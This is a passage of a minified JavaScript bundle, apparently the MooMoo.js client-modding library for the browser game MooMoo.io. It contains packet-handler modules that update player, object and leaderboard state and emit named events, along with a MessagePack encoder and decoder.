  2455. t.default = function e(t) {
  2456. a.MooMoo.emit("deleteAlliance", t),
  2457. a.MooMoo.emit("deletealliance", t);
  2458. };
  2459. },
  2460. 9523(e, t, o) {
  2461. "use strict";
  2462.  
  2463. Object.defineProperty(t, "__esModule", {
  2464. value: !0,
  2465. });
  2466. let a = o(366);
  2467. t.default = function e() {
  2468. a.MooMoo.emit("disconnect", a.MooMoo.ws);
  2469. };
  2470. },
  2471. 2034(e, t, o) {
  2472. "use strict";
  2473.  
  2474. Object.defineProperty(t, "__esModule", {
  2475. value: !0,
  2476. });
  2477. let a = o(366);
  2478. t.default = function e(t) {
  2479. a.MooMoo.emit("gatherAnimation", t),
  2480. a.MooMoo.emit("gatheranimation", t),
  2481. a.MooMoo.emit("7", t);
  2482. };
  2483. },
  2484. 8280(e, t, o) {
  2485. "use strict";
  2486.  
  2487. Object.defineProperty(t, "__esModule", {
  2488. value: !0,
  2489. });
  2490. let a = o(366);
  2491. t.default = function e(t) {
  2492. let o = t[0];
  2493. a.MooMoo.GameObjectManager.removeObjectBySid(o),
  2494. a.MooMoo.emit("killObject", t),
  2495. a.MooMoo.emit("killobject", t),
  2496. a.MooMoo.emit("12", o);
  2497. };
  2498. },
  2499. 7954(e, t, o) {
  2500. "use strict";
  2501.  
  2502. Object.defineProperty(t, "__esModule", {
  2503. value: !0,
  2504. });
  2505. let a = o(366);
  2506. t.default = function e(t) {
  2507. let o = t[0];
  2508. a.MooMoo.GameObjectManager.removeObjectsByOwnerSid(o),
  2509. a.MooMoo.emit("killObjects", t),
  2510. a.MooMoo.emit("killobjects", t),
  2511. a.MooMoo.emit("13", t);
  2512. };
  2513. },
  2514. 1822(e, t, o) {
  2515. "use strict";
  2516.  
  2517. Object.defineProperty(t, "__esModule", {
  2518. value: !0,
  2519. });
  2520. let a = o(366);
  2521. t.default = function e(t) {
  2522. a.MooMoo.emit("killPlayer", t),
  2523. a.MooMoo.emit("killplayer", t),
  2524. a.MooMoo.emit("11", t);
  2525. };
  2526. },
  2527. 9773(e, t, o) {
  2528. "use strict";
  2529.  
  2530. Object.defineProperty(t, "__esModule", {
  2531. value: !0,
  2532. });
  2533. let a = o(366),
  2534. r = o(627);
  2535. t.default = function e(t) {
  2536. t &&
  2537. ((0, r.default)(t, 7),
  2538. a.MooMoo.emit("loadAI", t),
  2539. a.MooMoo.emit("loadAi", t),
  2540. a.MooMoo.emit("loadaI", t),
  2541. a.MooMoo.emit("a", t));
  2542. };
  2543. },
  2544. 5393(e, t, o) {
  2545. "use strict";
  2546.  
  2547. Object.defineProperty(t, "__esModule", {
  2548. value: !0,
  2549. });
  2550. let a = o(366),
  2551. r = o(627),
  2552. i = o(7809);
  2553. t.default = function e(t) {
  2554. let o = t[0];
  2555. (0, r.default)(o, 8).forEach((e) => {
  2556. let t = a.MooMoo.GameObjectManager.getGameObjectBySid(e[0]);
  2557. t || (t = new i.default(e[0])),
  2558. (t.sid = e[0]),
  2559. (t.x = e[1]),
  2560. (t.y = e[2]),
  2561. (t.dir = e[3]),
  2562. (t.scale = e[4]),
  2563. (t.type = e[5]),
  2564. (t.id = e[6]),
  2565. (t.ownerSid = e[7]),
  2566. a.MooMoo.GameObjectManager.addObject(t);
  2567. }),
  2568. a.MooMoo.emit("loadGameObject", t),
  2569. a.MooMoo.emit("loadgameobject", t),
  2570. a.MooMoo.emit("6", t);
  2571. };
  2572. },
  2573. 8530(e, t, o) {
  2574. "use strict";
  2575.  
  2576. Object.defineProperty(t, "__esModule", {
  2577. value: !0,
  2578. });
  2579. let a = o(366);
  2580. t.default = function e(t) {
  2581. a.MooMoo.emit("pingMap", t),
  2582. a.MooMoo.emit("pingmap", t),
  2583. a.MooMoo.emit("p", t);
  2584. };
  2585. },
  2586. 1887(e, t, o) {
  2587. "use strict";
  2588.  
  2589. Object.defineProperty(t, "__esModule", {
  2590. value: !0,
  2591. });
  2592. let a = o(366);
  2593. t.default = function e(t) {
  2594. a.MooMoo.emit("pingSocketResponse", t),
  2595. a.MooMoo.emit("pingsocketresponse", t),
  2596. a.MooMoo.emit("pp", t);
  2597. };
  2598. },
  2599. 4763(e, t, o) {
  2600. "use strict";
  2601.  
  2602. Object.defineProperty(t, "__esModule", {
  2603. value: !0,
  2604. });
  2605. let a = o(366);
  2606. t.default = function e(t) {
  2607. a.MooMoo.emit("receiveChat", t),
  2608. a.MooMoo.emit("receivechat", t),
  2609. a.MooMoo.emit("ch", t);
  2610. };
  2611. },
  2612. 9254(e, t, o) {
  2613. "use strict";
  2614.  
  2615. Object.defineProperty(t, "__esModule", {
  2616. value: !0,
  2617. });
  2618. let a = o(366);
  2619. t.default = function e(t) {
  2620. a.MooMoo.emit("remProjectile", t),
  2621. a.MooMoo.emit("remprojectile", t),
  2622. a.MooMoo.emit("19", t);
  2623. };
  2624. },
  2625. 156(e, t, o) {
  2626. "use strict";
  2627.  
  2628. Object.defineProperty(t, "__esModule", {
  2629. value: !0,
  2630. });
  2631. let a = o(366);
  2632. t.default = function e(t) {
  2633. let o = t[0];
  2634. a.MooMoo.GamePlayerManager.removePlayerById(o),
  2635. a.MooMoo.debug("Player " + o + " has left the game."),
  2636. a.MooMoo.emit("removePlayer", t),
  2637. a.MooMoo.emit("removeplayer", t),
  2638. a.MooMoo.emit("4", t);
  2639. };
  2640. },
  2641. 6933(e, t, o) {
  2642. "use strict";
  2643.  
  2644. Object.defineProperty(t, "__esModule", {
  2645. value: !0,
  2646. });
  2647. let a = o(366);
  2648. t.default = function e(t) {
  2649. a.MooMoo.emit("serverShutdownNotice", t),
  2650. a.MooMoo.emit("servershutdownnotice", t),
  2651. a.MooMoo.emit("20", t);
  2652. };
  2653. },
  2654. 1451(e, t, o) {
  2655. "use strict";
  2656.  
  2657. Object.defineProperty(t, "__esModule", {
  2658. value: !0,
  2659. });
  2660. let a = o(366);
  2661. t.default = function e(t) {
  2662. a.MooMoo.emit("setAlliancePlayers", t),
  2663. a.MooMoo.emit("setallianceplayers", t),
  2664. a.MooMoo.emit("sa", t);
  2665. };
  2666. },
  2667. 1201(e, t, o) {
  2668. "use strict";
  2669.  
  2670. Object.defineProperty(t, "__esModule", {
  2671. value: !0,
  2672. });
  2673. let a = o(6157),
  2674. r = o(9347),
  2675. i = o(366);
  2676. t.default = function e(t) {
  2677. let o = t[0].teams;
  2678. for (let n = 0; n < o.length; n++) {
  2679. let s = o[n],
  2680. l = s.sid,
  2681. c = s.owner,
  2682. d = new a.default(new r.default(c), l);
  2683. i.MooMoo.teams.push(d);
  2684. }
  2685. };
  2686. },
  2687. 2530(e, t, o) {
  2688. "use strict";
  2689.  
  2690. Object.defineProperty(t, "__esModule", {
  2691. value: !0,
  2692. });
  2693. let a = o(366);
  2694. t.default = function e(t) {
  2695. a.MooMoo.emit("setPlayerTeam", t),
  2696. a.MooMoo.emit("setplayerteam", t),
  2697. a.MooMoo.emit("st", t);
  2698. };
  2699. },
  2700. 8353(e, t, o) {
  2701. "use strict";
  2702.  
  2703. Object.defineProperty(t, "__esModule", {
  2704. value: !0,
  2705. });
  2706. let a = o(366),
  2707. r = o(8595),
  2708. i = o(4218),
  2709. n = o(3044),
  2710. s = o(420),
  2711. l = o(8101),
  2712. c = o(5088),
  2713. d = o(3296),
  2714. u = o(3269),
  2715. f = o(8106);
  2716. t.default = function e(t) {
  2717. let o = t[0];
  2718. (a.MooMoo.myPlayer = {}),
  2719. (a.MooMoo.myPlayer.sid = o),
  2720. (a.MooMoo.myPlayer.place = r.default),
  2721. (a.MooMoo.myPlayer.chat = i.default),
  2722. (a.MooMoo.myPlayer.hit = n.default),
  2723. (a.MooMoo.myPlayer.equipHat = s.default),
  2724. (a.MooMoo.myPlayer.equipAccessory = l.default),
  2725. (a.MooMoo.myPlayer.unequipHat = c.default),
  2726. (a.MooMoo.myPlayer.unequipAccessory = d.default),
  2727. (a.MooMoo.myPlayer.buyHat = u.default),
  2728. (a.MooMoo.myPlayer.buyAccessory = f.default),
  2729. (a.MooMoo.vars.gameLoaded = !0),
  2730. a.MooMoo.emit("gameLoad"),
  2731. a.MooMoo.emit("setupGame", t),
  2732. a.MooMoo.emit("setupgame", t),
  2733. a.MooMoo.emit("1", t),
  2734. a.MooMoo.didInit ||
  2735. (a.MooMoo.onGameLoad && a.MooMoo.onGameLoad(),
  2736. (a.MooMoo.didInit = !0));
  2737. };
  2738. },
  2739. 5701(e, t, o) {
  2740. "use strict";
  2741.  
  2742. Object.defineProperty(t, "__esModule", {
  2743. value: !0,
  2744. });
  2745. let a = o(366);
  2746. t.default = function e(t) {
  2747. a.MooMoo.emit("shootTurret", t),
  2748. a.MooMoo.emit("shootturret", t),
  2749. a.MooMoo.emit("sp", t);
  2750. };
  2751. },
  2752. 5718(e, t, o) {
  2753. "use strict";
  2754.  
  2755. Object.defineProperty(t, "__esModule", {
  2756. value: !0,
  2757. });
  2758. let a = o(366);
  2759. t.default = function e(t) {
  2760. a.MooMoo.emit("showText", t),
  2761. a.MooMoo.emit("showtext", t),
  2762. a.MooMoo.emit("t", t);
  2763. };
  2764. },
  2765. 1836(e, t, o) {
  2766. "use strict";
  2767.  
  2768. Object.defineProperty(t, "__esModule", {
  2769. value: !0,
  2770. });
  2771. let a = o(366);
  2772. t.default = function e(t) {
  2773. a.MooMoo.emit("updateAge", t),
  2774. a.MooMoo.emit("updateage", t),
  2775. a.MooMoo.emit("15", t);
  2776. };
  2777. },
  2778. 9289(e, t, o) {
  2779. "use strict";
  2780.  
  2781. Object.defineProperty(t, "__esModule", {
  2782. value: !0,
  2783. });
  2784. let a = o(366);
  2785. t.default = function e(t) {
  2786. let o = t[0],
  2787. r = t[1],
  2788. i = a.MooMoo.GamePlayerManager.getPlayerBySid(o);
  2789. i && (i.health = r),
  2790. a.MooMoo.emit("updateHealth", t),
  2791. a.MooMoo.emit("updatehealth", t),
  2792. a.MooMoo.emit("h", t);
  2793. };
  2794. },
  2795. 657(e, t, o) {
  2796. "use strict";
  2797.  
  2798. Object.defineProperty(t, "__esModule", {
  2799. value: !0,
  2800. });
  2801. let a = o(366);
  2802. t.default = function e(t) {
  2803. a.MooMoo.emit("updateItemCounts", t),
  2804. a.MooMoo.emit("updateitemcounts", t),
  2805. a.MooMoo.emit("14", t);
  2806. };
  2807. },
  2808. 9971(e, t, o) {
  2809. "use strict";
  2810.  
  2811. Object.defineProperty(t, "__esModule", {
  2812. value: !0,
  2813. });
  2814. let a = o(366);
  2815. t.default = function e(t) {
  2816. a.MooMoo.emit("updateItems", t),
  2817. a.MooMoo.emit("updateitems", t),
  2818. a.MooMoo.emit("17", t);
  2819. };
  2820. },
  2821. 2862(e, t, o) {
  2822. "use strict";
  2823.  
  2824. Object.defineProperty(t, "__esModule", {
  2825. value: !0,
  2826. });
  2827. let a = o(366);
  2828. t.default = function e(t) {
  2829. let o = t[0];
  2830. a.MooMoo.LeaderboardManager.updateLeaderboard(o),
  2831. a.MooMoo.emit("updateLeaderboard", t),
  2832. a.MooMoo.emit("updateleaderboard", t),
  2833. a.MooMoo.emit("5", t);
  2834. };
  2835. },
  2836. 1487(e, t, o) {
  2837. "use strict";
  2838.  
  2839. Object.defineProperty(t, "__esModule", {
  2840. value: !0,
  2841. });
  2842. let a = o(366);
  2843. t.default = function e(t) {
  2844. a.MooMoo.emit("updateMinimap", t),
  2845. a.MooMoo.emit("updateminimap", t),
  2846. a.MooMoo.emit("mm", t);
  2847. };
  2848. },
  2849. 7864(e, t, o) {
  2850. "use strict";
  2851.  
  2852. Object.defineProperty(t, "__esModule", {
  2853. value: !0,
  2854. });
  2855. let a = o(366);
  2856. t.default = function e(t) {
  2857. let o = t[0],
  2858. r = t[1],
  2859. i = a.MooMoo.myPlayer.resources;
  2860. (i[o] = r),
  2861. (a.MooMoo.myPlayer.resources = i),
  2862. a.MooMoo.emit("updatePlayerValue", t),
  2863. a.MooMoo.emit("updateplayervalue", t),
  2864. a.MooMoo.emit("9", t);
  2865. };
  2866. },
  2867. 8351(e, t, o) {
  2868. "use strict";
  2869.  
  2870. Object.defineProperty(t, "__esModule", {
  2871. value: !0,
  2872. }),
  2873. (t.updateHookPosition = void 0);
  2874. let a = o(627),
  2875. r = o(3748),
  2876. i = o(366),
  2877. n = o(9347),
  2878. s = o(7809);
  2879. (t.updateHookPosition = function e(t) {
  2880. if (
  2881. this instanceof n.default ||
  2882. this instanceof s.default ||
  2883. this.isAI ||
  2884. !this.id
  2885. );
  2886. else {
  2887. let o = i.MooMoo.GamePlayerManager.getPlayerBySid(this.sid);
  2888. o &&
  2889. ((o.x = t),
  2890. (o.y = this.y),
  2891. i.MooMoo.onPositionUpdate && i.MooMoo.onPositionUpdate(o)),
  2892. i.MooMoo.GamePlayerManager.updatePlayer(this.sid, this);
  2893. }
  2894. }),
  2895. (t.default = function e(t) {
  2896. let o = t[0],
  2897. s = (0, a.default)(o, 13);
  2898. i.MooMoo.ActivePlayerManager.clearPlayers(),
  2899. s.forEach((e) => {
  2900. let t = i.MooMoo.GamePlayerManager.getPlayerBySid(e[0]);
  2901. t || (((t = new n.default(e[0])).x = e[1]), (t.y = e[2])),
  2902. (t.sid = e[0]),
  2903. (t.dir = e[3]),
  2904. (t.buildIndex = e[4]),
  2905. (t.weaponIndex = e[5]),
  2906. (t.weaponVariant = e[6]),
  2907. (t.team = e[7]),
  2908. (t.isLeader = e[8]),
  2909. (t.skinIndex = e[9]),
  2910. (t.tailIndex = e[10]),
  2911. (t.iconIndex = e[11]),
  2912. (t.zIndex = e[12]),
  2913. i.MooMoo.ActivePlayerManager.addPlayer(t),
  2914. t.sid === i.MooMoo.myPlayer.sid &&
  2915. Object.assign(i.MooMoo.myPlayer, t),
  2916. (0, r.default)();
  2917. }),
  2918. i.MooMoo.emit("updatePlayers", o),
  2919. i.MooMoo.emit("updateplayers", o),
  2920. i.MooMoo.emit("33", o);
  2921. });
  2922. },
  2923. 2798(e, t, o) {
  2924. "use strict";
  2925.  
  2926. Object.defineProperty(t, "__esModule", {
  2927. value: !0,
  2928. });
  2929. let a = o(366);
  2930. t.default = function e(t) {
  2931. a.MooMoo.emit("updateStoreItems", t),
  2932. a.MooMoo.emit("updatestoreitems", t),
  2933. a.MooMoo.emit("us", t);
  2934. };
  2935. },
  2936. 3226(e, t, o) {
  2937. "use strict";
  2938.  
  2939. Object.defineProperty(t, "__esModule", {
  2940. value: !0,
  2941. });
  2942. let a = o(366);
  2943. t.default = function e(t) {
  2944. a.MooMoo.emit("updateUpgrades", t),
  2945. a.MooMoo.emit("updateupgrades", t),
  2946. a.MooMoo.emit("16", t);
  2947. };
  2948. },
  2949. 2656(e, t, o) {
  2950. "use strict";
  2951.  
  2952. Object.defineProperty(t, "__esModule", {
  2953. value: !0,
  2954. });
  2955. let a = o(366);
  2956. t.default = function e(t) {
  2957. a.MooMoo.emit("wiggleGameObject", t),
  2958. a.MooMoo.emit("wigglegameobject", t),
  2959. a.MooMoo.emit("8", t);
  2960. };
  2961. },
  2962. 2298(e, t, o) {
  2963. "use strict";
  2964.  
  2965. o.r(t),
  2966. o.d(t, {
  2967. default: () => a,
  2968. });
  2969. let a = function (e) {
  2970. let t = 0;
  2971. if (
  2972. (e instanceof ArrayBuffer && (e = new Uint8Array(e)),
  2973. "object" != typeof e || void 0 === e.length)
  2974. )
  2975. throw Error(
  2976. "Invalid argument type: Expected a byte array (Array or Uint8Array) to deserialize."
  2977. );
  2978. if (!e.length)
  2979. throw Error(
  2980. "Invalid argument: The byte array to deserialize is empty."
  2981. );
  2982. e instanceof Uint8Array || (e = new Uint8Array(e));
  2983. let o = a();
  2984. return e.length, o;
  2985. function a() {
  2986. let o = e[t++];
  2987. if (o >= 0 && o <= 127) return o;
  2988. if (o >= 128 && o <= 143) return l(o - 128);
  2989. if (o >= 144 && o <= 159) return c(o - 144);
  2990. if (o >= 160 && o <= 191) return d(o - 160);
  2991. if (192 === o) return null;
  2992. if (193 === o) throw Error("Invalid byte code 0xc1 found.");
  2993. if (194 === o) return !1;
  2994. if (195 === o) return !0;
  2995. if (196 === o) return s(-1, 1);
  2996. if (197 === o) return s(-1, 2);
  2997. if (198 === o) return s(-1, 4);
  2998. if (199 === o) return u(-1, 1);
  2999. if (200 === o) return u(-1, 2);
  3000. if (201 === o) return u(-1, 4);
  3001. if (202 === o) return n(4);
  3002. if (203 === o) return n(8);
  3003. if (204 === o) return i(1);
  3004. if (205 === o) return i(2);
  3005. if (206 === o) return i(4);
  3006. if (207 === o) return i(8);
  3007. if (208 === o) return r(1);
  3008. if (209 === o) return r(2);
  3009. if (210 === o) return r(4);
  3010. if (211 === o) return r(8);
  3011. if (212 === o) return u(1);
  3012. if (213 === o) return u(2);
  3013. if (214 === o) return u(4);
  3014. if (215 === o) return u(8);
  3015. if (216 === o) return u(16);
  3016. if (217 === o) return d(-1, 1);
  3017. if (218 === o) return d(-1, 2);
  3018. if (219 === o) return d(-1, 4);
  3019. if (220 === o) return c(-1, 2);
  3020. if (221 === o) return c(-1, 4);
  3021. if (222 === o) return l(-1, 2);
  3022. if (223 === o) return l(-1, 4);
  3023. if (o >= 224 && o <= 255) return o - 256;
  3024. throw (
  3025. (console.debug("msgpack array:", e),
  3026. Error(
  3027. "Invalid byte value '" +
  3028. o +
  3029. "' at index " +
  3030. (t - 1) +
  3031. " in the MessagePack binary data (length " +
  3032. e.length +
  3033. "): Expecting a range of 0 to 255. This is not a byte array."
  3034. ))
  3035. );
  3036. }
  3037. function r(o) {
  3038. let a = 0,
  3039. r = !0;
  3040. for (; o-- > 0; )
  3041. if (r) {
  3042. let i = e[t++];
  3043. (a += 127 & i), 128 & i && (a -= 128), (r = !1);
  3044. } else (a *= 256), (a += e[t++]);
  3045. return a;
  3046. }
  3047. function i(o) {
  3048. let a = 0;
  3049. for (; o-- > 0; ) (a *= 256), (a += e[t++]);
  3050. return a;
  3051. }
  3052. function n(o) {
  3053. let a = new DataView(e.buffer, t, o);
  3054. return (
  3055. (t += o),
  3056. 4 === o
  3057. ? a.getFloat32(0, !1)
  3058. : 8 === o
  3059. ? a.getFloat64(0, !1)
  3060. : void 0
  3061. );
  3062. }
  3063. function s(o, a) {
  3064. o < 0 && (o = i(a));
  3065. let r = e.subarray(t, t + o);
  3066. return (t += o), r;
  3067. }
  3068. function l(e, t) {
  3069. e < 0 && (e = i(t));
  3070. let o = {};
  3071. for (; e-- > 0; ) o[a()] = a();
  3072. return o;
  3073. }
  3074. function c(e, t) {
  3075. e < 0 && (e = i(t));
  3076. let o = [];
  3077. for (; e-- > 0; ) o.push(a());
  3078. return o;
  3079. }
  3080. function d(o, a) {
  3081. o < 0 && (o = i(a));
  3082. let r = t;
  3083. return (
  3084. (t += o),
  3085. (function (e, t, o) {
  3086. let a = t,
  3087. r = "";
  3088. for (o += t; a < o; ) {
  3089. let i = e[a++];
  3090. if (i > 127) {
  3091. if (i > 191 && i < 224) {
  3092. if (a >= o)
  3093. throw Error("UTF-8 decode: incomplete 2-byte sequence");
  3094. i = ((31 & i) << 6) | (63 & e[a++]);
  3095. } else if (i > 223 && i < 240) {
  3096. if (a + 1 >= o)
  3097. throw Error("UTF-8 decode: incomplete 3-byte sequence");
  3098. i =
  3099. ((15 & i) << 12) | ((63 & e[a++]) << 6) | (63 & e[a++]);
  3100. } else {
  3101. if (!(i > 239 && i < 248))
  3102. throw Error(
  3103. "UTF-8 decode: unknown multibyte start 0x" +
  3104. i.toString(16) +
  3105. " at index " +
  3106. (a - 1)
  3107. );
  3108. if (a + 2 >= o)
  3109. throw Error("UTF-8 decode: incomplete 4-byte sequence");
  3110. i =
  3111. ((7 & i) << 18) |
  3112. ((63 & e[a++]) << 12) |
  3113. ((63 & e[a++]) << 6) |
  3114. (63 & e[a++]);
  3115. }
  3116. }
  3117. if (i <= 65535) r += String.fromCharCode(i);
  3118. else {
  3119. if (!(i <= 1114111))
  3120. throw Error(
  3121. "UTF-8 decode: code point 0x" +
  3122. i.toString(16) +
  3123. " exceeds UTF-16 reach"
  3124. );
  3125. (i -= 65536),
  3126. (r += String.fromCharCode((i >> 10) | 55296)),
  3127. (r += String.fromCharCode((1023 & i) | 56320));
  3128. }
  3129. }
  3130. return r;
  3131. })(e, r, o)
  3132. );
  3133. }
  3134. function u(e, o) {
  3135. e < 0 && (e = i(o));
  3136. let a = i(1),
  3137. n = s(e);
  3138. return 255 === a
  3139. ? (function (e) {
  3140. if (4 === e.length) {
  3141. let o =
  3142. ((e[0] << 24) >>> 0) +
  3143. ((e[1] << 16) >>> 0) +
  3144. ((e[2] << 8) >>> 0) +
  3145. e[3];
  3146. return new Date(1e3 * o);
  3147. }
  3148. if (8 === e.length) {
  3149. let a =
  3150. ((e[0] << 22) >>> 0) +
  3151. ((e[1] << 14) >>> 0) +
  3152. ((e[2] << 6) >>> 0) +
  3153. (e[3] >>> 2),
  3154. i =
  3155. (3 & e[3]) * 4294967296 +
  3156. ((e[4] << 24) >>> 0) +
  3157. ((e[5] << 16) >>> 0) +
  3158. ((e[6] << 8) >>> 0) +
  3159. e[7];
  3160. return new Date(1e3 * i + a / 1e6);
  3161. }
  3162. if (12 === e.length) {
  3163. let n =
  3164. ((e[0] << 24) >>> 0) +
  3165. ((e[1] << 16) >>> 0) +
  3166. ((e[2] << 8) >>> 0) +
  3167. e[3];
  3168. t -= 8;
  3169. let s = r(8);
  3170. return new Date(1e3 * s + n / 1e6);
  3171. }
  3172. throw Error("Invalid data length for a date value.");
  3173. })(n)
  3174. : {
  3175. type: a,
  3176. data: n,
  3177. };
  3178. }
  3179. };
  3180. },
  3181. 112(e, t, o) {
  3182. "use strict";
  3183.  
  3184. o.r(t),
  3185. o.d(t, {
  3186. default: () => a,
  3187. });
  3188. let a = function (e) {
  3189. let t,
  3190. o,
  3191. a = new Uint8Array(128),
  3192. r = 0;
  3193. return i(e), a.subarray(0, r);
  3194. function i(e) {
  3195. var a, r, u;
  3196. switch (typeof e) {
  3197. case "undefined":
  3198. n();
  3199. break;
  3200. case "boolean":
  3201. l((a = e) ? 195 : 194);
  3202. break;
  3203. case "number":
  3204. !(function (e) {
  3205. if (isFinite(e) && Math.floor(e) === e) {
  3206. if (e >= 0 && e <= 127) l(e);
  3207. else if (e < 0 && e >= -32) l(e);
  3208. else if (e > 0 && e <= 255) c([204, e]);
  3209. else if (e >= -128 && e <= 127) c([208, e]);
  3210. else if (e > 0 && e <= 65535) c([205, e >>> 8, e]);
  3211. else if (e >= -32768 && e <= 32767) c([209, e >>> 8, e]);
  3212. else if (e > 0 && e <= 4294967295)
  3213. c([206, e >>> 24, e >>> 16, e >>> 8, e]);
  3214. else if (e >= -2147483648 && e <= 2147483647)
  3215. c([210, e >>> 24, e >>> 16, e >>> 8, e]);
  3216. else if (e > 0 && e <= 18446744073709552e3) {
  3217. let a = e / 4294967296,
  3218. r = e % 4294967296;
  3219. c([
  3220. 211,
  3221. a >>> 24,
  3222. a >>> 16,
  3223. a >>> 8,
  3224. a,
  3225. r >>> 24,
  3226. r >>> 16,
  3227. r >>> 8,
  3228. r,
  3229. ]);
  3230. } else
  3231. e >= 0x7fffffffffffffff && e <= 0x7fffffffffffffff
  3232. ? (l(211), d(e))
  3233. : c(
  3234. e < 0
  3235. ? [211, 128, 0, 0, 0, 0, 0, 0, 0]
  3236. : [207, 255, 255, 255, 255, 255, 255, 255, 255]
  3237. );
  3238. } else
  3239. o || ((t = new ArrayBuffer(8)), (o = new DataView(t))),
  3240. o.setFloat64(0, e),
  3241. l(203),
  3242. c(new Uint8Array(t));
  3243. })(e);
  3244. break;
  3245. case "string":
  3246. let f, M;
  3247. (M = (f = (function (e) {
  3248. let t = !0,
  3249. o = e.length;
  3250. for (let a = 0; a < o; a++)
  3251. if (e.charCodeAt(a) > 127) {
  3252. t = !1;
  3253. break;
  3254. }
  3255. let r = 0,
  3256. i = new Uint8Array(e.length * (t ? 1 : 4));
  3257. for (let n = 0; n !== o; n++) {
  3258. let s = e.charCodeAt(n);
  3259. if (s < 128) i[r++] = s;
  3260. else {
  3261. if (s < 2048) i[r++] = (s >> 6) | 192;
  3262. else {
  3263. if (s > 55295 && s < 56320) {
  3264. if (++n >= o)
  3265. throw Error(
  3266. "UTF-8 encode: incomplete surrogate pair"
  3267. );
  3268. let l = e.charCodeAt(n);
  3269. if (l < 56320 || l > 57343)
  3270. throw Error(
  3271. "UTF-8 encode: second surrogate character 0x" +
  3272. l.toString(16) +
  3273. " at index " +
  3274. n +
  3275. " out of range"
  3276. );
  3277. (s = 65536 + ((1023 & s) << 10) + (1023 & l)),
  3278. (i[r++] = (s >> 18) | 240),
  3279. (i[r++] = ((s >> 12) & 63) | 128);
  3280. } else i[r++] = (s >> 12) | 224;
  3281. i[r++] = ((s >> 6) & 63) | 128;
  3282. }
  3283. i[r++] = (63 & s) | 128;
  3284. }
  3285. }
  3286. return t ? i : i.subarray(0, r);
  3287. })((r = e))).length) <= 31
  3288. ? l(160 + M)
  3289. : c(
  3290. M <= 255
  3291. ? [217, M]
  3292. : M <= 65535
  3293. ? [218, M >>> 8, M]
  3294. : [219, M >>> 24, M >>> 16, M >>> 8, M]
  3295. ),
  3296. c(f);
  3297. break;
  3298. case "object":
  3299. let $;
  3300. null === e
  3301. ? n()
  3302. : e instanceof Date
  3303. ? (function (e) {
  3304. let t = e.getTime() / 1e3;
  3305. if (0 === e.getMilliseconds() && t >= 0 && t < 4294967296)
  3306. c([214, 255, t >>> 24, t >>> 16, t >>> 8, t]);
  3307. else if (t >= 0 && t < 17179869184) {
  3308. let o = 1e6 * e.getMilliseconds();
  3309. c([
  3310. 215,
  3311. 255,
  3312. o >>> 22,
  3313. o >>> 14,
  3314. o >>> 6,
  3315. ((o << 2) >>> 0) | (t / 4294967296),
  3316. t >>> 24,
  3317. t >>> 16,
  3318. t >>> 8,
  3319. t,
  3320. ]);
  3321. } else {
  3322. let a = 1e6 * e.getMilliseconds();
  3323. c([199, 12, 255, a >>> 24, a >>> 16, a >>> 8, a]), d(t);
  3324. }
  3325. })(e)
  3326. : Array.isArray(e)
  3327. ? s(e)
  3328. : e instanceof Uint8Array || e instanceof Uint8ClampedArray
  3329. ? (c(
  3330. ($ = (u = e).length) <= 15
  3331. ? [196, $]
  3332. : $ <= 65535
  3333. ? [197, $ >>> 8, $]
  3334. : [198, $ >>> 24, $ >>> 16, $ >>> 8, $]
  3335. ),
  3336. c(u))
  3337. : e instanceof Int8Array ||
  3338. e instanceof Int16Array ||
  3339. e instanceof Uint16Array ||
  3340. e instanceof Int32Array ||
  3341. e instanceof Uint32Array ||
  3342. e instanceof Float32Array ||
  3343. e instanceof Float64Array
  3344. ? s(e)
  3345. : (function (e) {
  3346. let t = 0;
  3347. for (let o in e) t++;
  3348. for (let a in (t <= 15
  3349. ? l(128 + t)
  3350. : c(
  3351. t <= 65535
  3352. ? [222, t >>> 8, t]
  3353. : [223, t >>> 24, t >>> 16, t >>> 8, t]
  3354. ),
  3355. e))
  3356. i(a), i(e[a]);
  3357. })(e);
  3358. }
  3359. }
  3360. function n(e) {
  3361. l(192);
  3362. }
  3363. function s(e) {
  3364. let t = e.length;
  3365. t <= 15
  3366. ? l(144 + t)
  3367. : c(
  3368. t <= 65535
  3369. ? [220, t >>> 8, t]
  3370. : [221, t >>> 24, t >>> 16, t >>> 8, t]
  3371. );
  3372. for (let o = 0; o < t; o++) i(e[o]);
  3373. }
  3374. function l(e) {
  3375. if (a.length < r + 1) {
  3376. let t = 2 * a.length;
  3377. for (; t < r + 1; ) t *= 2;
  3378. let o = new Uint8Array(t);
  3379. o.set(a), (a = o);
  3380. }
  3381. (a[r] = e), r++;
  3382. }
  3383. function c(e) {
  3384. if (a.length < r + e.length) {
  3385. let t = 2 * a.length;
  3386. for (; t < r + e.length; ) t *= 2;
  3387. let o = new Uint8Array(t);
  3388. o.set(a), (a = o);
  3389. }
  3390. a.set(e, r), (r += e.length);
  3391. }
  3392. function d(e) {
  3393. let t, o;
  3394. e >= 0
  3395. ? ((t = e / 4294967296), (o = e % 4294967296))
  3396. : ((t = ~(t = Math.abs(++e) / 4294967296)),
  3397. (o = ~(o = Math.abs(e) % 4294967296))),
  3398. c([
  3399. t >>> 24,
  3400. t >>> 16,
  3401. t >>> 8,
  3402. t,
  3403. o >>> 24,
  3404. o >>> 16,
  3405. o >>> 8,
  3406. o,
  3407. ]);
  3408. }
  3409. };
  3410. },
  3411. 5337(e, t, o) {
  3412. "use strict";
  3413.  
  3414. o.r(t),
  3415. o.d(t, {
  3416. default: () => c,
  3417. });
  3418. var a = o(366),
  3419. r = o(8214),
  3420. i = o(1542),
  3421. n = o(5613),
  3422. s = o.n(n);
  3423. o(4572);
  3424. var l = o(6616);
  3425. let c = function e() {
  3426. a.MooMoo.scriptAPI = {
  3427. parse: r.Z,
  3428. validate: i.Z,
  3429. tokenize: s(),
  3430. execute: l.Z,
  3431. };
  3432. };
  3433. },
  3434. },
  3435. t = {};
  3436. function o(a) {
  3437. var r = t[a];
  3438. if (void 0 !== r) return r.exports;
  3439. var i = (t[a] = {
  3440. exports: {},
  3441. });
  3442. return e[a].call(i.exports, i, i.exports, o), i.exports;
  3443. }
  3444. (o.n = (e) => {
  3445. var t = e && e.__esModule ? () => e.default : () => e;
  3446. return (
  3447. o.d(t, {
  3448. a: t,
  3449. }),
  3450. t
  3451. );
  3452. }),
  3453. (o.d = (e, t) => {
  3454. for (var a in t)
  3455. o.o(t, a) &&
  3456. !o.o(e, a) &&
  3457. Object.defineProperty(e, a, {
  3458. enumerable: !0,
  3459. get: t[a],
  3460. });
  3461. }),
  3462. (o.o = (e, t) => Object.prototype.hasOwnProperty.call(e, t)),
  3463. (o.r = (e) => {
  3464. "undefined" != typeof Symbol &&
  3465. Symbol.toStringTag &&
